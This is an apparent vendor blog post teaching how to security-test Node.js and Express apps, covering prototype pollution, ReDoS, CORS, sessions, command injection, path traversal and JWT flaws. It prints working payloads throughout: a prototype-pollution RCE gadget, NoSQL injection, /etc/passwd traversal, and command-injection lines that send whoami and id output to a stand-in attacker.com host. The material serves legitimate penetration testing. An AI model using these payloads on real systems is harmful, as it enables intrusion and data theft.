Node.js and Express Security Testing: A Practical Guide

Node.js and Express applications have a distinct vulnerability profile. The same issues exist in every web framework — SQL injection, XSS, broken access control — but the JavaScript runtime and npm ecosystem introduce classes of vulnerabilities that don't have direct equivalents in Python, Java, or Ruby stacks. If you're testing a Node.js application, you need to know what's different.

This guide covers the Node.js-specific vulnerability landscape, how to test for each category, and what to look for in Express middleware configurations.

The Node.js Threat Model

What makes Node.js applications different from a security perspective:

Prototype Pollution

JavaScript's prototype chain means that setting a property on Object.prototype affects every object in the process. If user input can traverse the prototype chain, an attacker can inject properties into base objects — often leading to privilege escalation, RCE, or DoS.

# The attack pattern
# Vulnerable code:
function merge(target, source) {
  for (let key in source) {
    target[key] = source[key];  // No prototype check
  }
}

# Attacker sends:
{"__proto__": {"isAdmin": true}}

# After merge, every {} in the process has isAdmin: true
# If the app checks: if (req.user.isAdmin) → bypassed

# Test by sending:
curl -X POST https://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}'

# Or via URL-encoded form (qs library is vulnerable):
curl -X POST https://target.com/update \
  -d "__proto__[isAdmin]=true"

Libraries commonly vulnerable to prototype pollution: lodash (before 4.17.21), merge, deep-extend, jquery, qs (URL parsing). Check npm audit for known CVEs.

Testing for prototype pollution effects

# Send the pollution payload, then test for effects
# Inject isAdmin and test if admin endpoints become accessible
curl -X POST https://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

# Then request an admin endpoint with a non-admin session
curl https://target.com/api/admin/users \
  -H "Cookie: session=your-non-admin-session"

# Other interesting properties to inject:
# {"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').exec('id');x"}}
# (DoT template engine RCE via prototype pollution)

ReDoS (Regular Expression Denial of Service)

Node.js is single-threaded. A regex with catastrophic backtracking against attacker-controlled input can pin the CPU at 100% and make the server unresponsive for all users. This is a high-severity DoS vector that doesn't exist in the same form in multi-threaded frameworks.

# Classic vulnerable patterns (catastrophic backtracking):
/^(a+)+$/           # "aaaaaaaaaaaaaaaa!" — exponential
/(a|aa)+/           # nested quantifiers
/^(a*)*$/           # polynomial or exponential

# Test: send a long string ending in a character that forces backtracking
# For pattern /^(a+)+$/: send "aaaa...aaaa!"
python3 -c "print('a' * 50 + '!')"
curl "https://target.com/search?q=$(python3 -c "print('a' * 50 + '!')")"

# If the request takes seconds while normal requests are instant,
# the endpoint is likely vulnerable to ReDoS

Tools: vuln-regex-detector and safe-regex analyze regex patterns statically. For dynamic testing, use recheck.

Express.js Middleware Misconfigurations

Missing Helmet.js / security headers

# Test which security headers are missing
curl -I https://target.com/

# Check for:
# X-Content-Type-Options: nosniff
# X-Frame-Options: DENY or SAMEORIGIN
# Content-Security-Policy
# Strict-Transport-Security
# X-XSS-Protection (deprecated but informational)
# Referrer-Policy

# If the app uses Express, check if helmet is configured:
# Without helmet, Express sends: X-Powered-By: Express
# This reveals the framework. helmet removes it by default.

CORS misconfiguration

# Test if origin reflection is enabled
curl -H "Origin: https://evil.com" \
     -I https://target.com/api/user

# Vulnerable response:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true

# Also test null origin (used by sandboxed iframes):
curl -H "Origin: null" \
     -I https://target.com/api/user

# Common Express cors() misconfiguration:
# app.use(cors({ origin: true, credentials: true }))
# This reflects any origin with credentials — complete bypass

JSON parsing and content-type confusion

# Express parses both JSON and URL-encoded bodies by default
# Test if the app accepts unexpected content types

# Send JSON as form-encoded — app may process it differently
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin&password=test"

# Send URL-encoded as JSON — may bypass JSON schema validation
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$gt":""}}'  # NoSQL injection

# Extended URL encoding attack (prototype pollution via qs)
curl -X POST https://target.com/api/update \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "__proto__[admin]=1&data[key]=value"

Express session security

# Test session fixation: does the session ID change after login?
# 1. Get session before login
curl -c cookies.txt https://target.com/login
# Note the session cookie value

# 2. Authenticate
curl -b cookies.txt -c cookies.txt \
  -X POST https://target.com/login \
  -d "username=user&password=pass"

# 3. Check if session ID changed
cat cookies.txt

# Vulnerable: same session ID before and after login

# Check session cookie flags
curl -I https://target.com/login
# Look for: Set-Cookie: session=...; Secure; HttpOnly; SameSite=Strict
# Missing Secure: session sent over HTTP
# Missing HttpOnly: accessible via JavaScript (XSS pivot)
# Missing SameSite: CSRF attacks possible

Command Injection in Node.js

# Node.js apps often use child_process for system operations
# child_process.exec() is vulnerable; execFile() is safer

# Test anywhere user input reaches shell commands
# Common patterns in Node.js:
# exec(`git clone ${userInput}`)
# exec(`imagemagick convert ${filename}`)
# exec(`zip -r ${archiveName} ${directory}`)

# Injection payloads (test in all parameter positions):
; id
| id
&& id
`id`
$(id)
; curl http://attacker.com/$(whoami)  # out-of-band confirmation

# Example: file conversion endpoint
curl "https://target.com/convert?file=image.jpg;curl+attacker.com/$(id)"

Path Traversal in Express Static Serving

# Express.static and file download endpoints are common targets
# Test path traversal in file download/serving endpoints

curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/static/../../../etc/passwd"
curl "https://target.com/files/..%2F..%2F..%2Fetc%2Fpasswd"

# Test with encoded path separators
curl "https://target.com/files/%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Express.static is safe by default, but manual implementations often aren't:
# Vulnerable pattern:
# const file = path.join(__dirname, 'uploads', req.params.filename);
# res.sendFile(file);
# Fix: path.resolve() + check file starts with allowed directory

Dependency Vulnerabilities

# Check for known vulnerabilities in dependencies
npm audit

# Detailed output with CVE IDs
npm audit --json | jq '.vulnerabilities | to_entries[] |
  {name: .key, severity: .value.severity, via: .value.via}'

# Use Snyk for deeper analysis
snyk test

# Check for prototype pollution specifically
npx nodejsscan .     # static analysis for Node.js security issues

# Look for outdated packages with known CVEs
npm outdated

JWT Security in Node.js

# The jsonwebtoken library had critical vulnerabilities
# Test the alg:none bypass
# Create a JWT with algorithm set to none:

import base64
header = base64.b64encode('{"alg":"none","typ":"JWT"}'.encode()).decode().rstrip('=')
payload = base64.b64encode('{"sub":"1234","role":"admin"}'.encode()).decode().rstrip('=')
token = f"{header}.{payload}."

curl -H "Authorization: Bearer {token}" https://target.com/api/admin

# Also test RS256 → HS256 algorithm confusion
# Described in detail at: /blog/jwt-security-testing-authentication-vulnerabilities

Node.js Security Testing Checklist

Ironimo scans Node.js and Express applications for the full vulnerability landscape — including prototype pollution, CORS misconfigurations, missing security headers, and injection vulnerabilities across all parameter types. It runs the same checks a manual security review covers, automatically, on every deploy.

Start free scan
← Back to blog